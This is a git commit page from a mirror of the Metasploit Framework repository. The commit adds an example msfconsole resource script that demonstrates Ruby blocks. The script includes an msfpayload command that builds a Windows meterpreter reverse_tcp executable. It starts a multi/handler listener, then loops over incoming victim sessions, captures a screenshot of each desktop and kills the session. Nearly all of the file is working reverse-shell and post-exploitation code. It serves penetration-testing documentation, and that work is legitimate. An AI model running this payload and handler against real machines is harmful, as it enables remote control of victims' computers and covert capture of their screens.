mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-11-05 14:57:30 +01:00
Add an example RC
git-svn-id: file:///home/svn/framework3/trunk@8878 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
parent
05bd6b816d
commit
584a38d341
49
documentation/msfconsole_rc_ruby_example.rc
Normal file
49
documentation/msfconsole_rc_ruby_example.rc
Normal file
@ -0,0 +1,49 @@
|
||||
#
|
||||
# Quick RC script to demonstrate the Ruby blocks in RC files
|
||||
#
|
||||
|
||||
#
|
||||
# Generate a corresponding EXE using msfpayload (change 192.168.0.228 to your IP):
|
||||
# $ msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.228 LPORT=4444 X > reverse.exe
|
||||
#
|
||||
|
||||
use exploit/multi/handler
|
||||
set PAYLOAD windows/meterpreter/reverse_tcp
|
||||
set LPORT 4444
|
||||
set LHOST 192.168.0.228
|
||||
set ExitOnSession false
|
||||
|
||||
exploit -j
|
||||
|
||||
# The first sleep below is not necessary, but makes the output cleaner
|
||||
<ruby>
|
||||
sleep(1)
|
||||
|
||||
print_status("Waiting on an incoming sessions...")
|
||||
while (true)
|
||||
framework.sessions.each_pair do |sid,s|
|
||||
thost = s.tunnel_peer.split(":")[0]
|
||||
|
||||
# Ensure that stdapi has been loaded before running
|
||||
if s.ext.aliases['stdapi']
|
||||
print_status("Screenshotting session #{sid} #{thost}...")
|
||||
s.console.run_single("screenshot -p #{thost}_#{sid}.jpg -v false -q 85")
|
||||
print_status("Closing session #{sid} #{thost}...")
|
||||
s.kill
|
||||
else
|
||||
print_status("Session #{sid} #{thost} active, but not yet configured")
|
||||
end
|
||||
|
||||
end
|
||||
sleep(1)
|
||||
end
|
||||
|
||||
print_status("All done")
|
||||
</ruby>
|
||||
|
||||
# Kill all open sessions
|
||||
sessions -K
|
||||
|
||||
# Exit the console (optional)
|
||||
exit
|
||||
|
Loading…
Reference in New Issue
Block a user